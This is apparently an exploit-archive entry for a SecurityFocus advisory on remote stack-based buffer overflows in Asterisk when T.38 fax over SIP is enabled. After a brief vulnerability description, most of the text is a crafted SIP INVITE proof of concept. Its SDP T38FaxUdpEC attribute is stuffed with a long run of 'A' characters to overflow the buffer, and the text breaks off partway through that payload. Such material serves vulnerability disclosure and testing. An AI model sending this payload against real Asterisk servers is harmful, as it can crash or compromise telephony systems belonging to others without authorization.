77 lines
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1.9 KiB
Text
77 lines
No EOL
1.9 KiB
Text
source: https://www.securityfocus.com/bid/23648/info
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Asterisk is prone to multiple remote stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.
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Successful exploits may allow an attacker to execute arbitrary machine code to compromise an affected computer or to cause denial-of-service conditions.
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Versions prior to Asterisk Open Source 1.4.3, AsteriskNOW Beta 6, and Asterisk Appliance Developer Kit 0.4.0 are vulnerable.
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NOTE: These issues occur only when 't38 fax over SIP' is enabled in 'sip.conf'.
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INVITE sip:200@127.0.0.1 SIP/2.0
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Date: Wed, 21 Mar 2007 4:20:09 GMT
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CSeq: 1 INVITE
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Via: SIP/2.0/UDP
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10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
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User-Agent: NGS/2.0
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From: "Barrie Dempster"
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<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
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Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades
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To: <sip:200@localhost>
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Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>
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Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE
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Content-Type: application/sdp
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Content-Length: 796
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Max-Forwards: 70
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v=0
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o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1
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s=-
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c=IN IP4 127.0.0.1
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t=0 0
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m=image 5004 UDPTL t38
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a=T38FaxVersion:0
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a=T38MaxBitRate:14400
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a=T38FaxMaxBuffer:1024
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a=T38FaxMaxDatagram:238
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a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAA |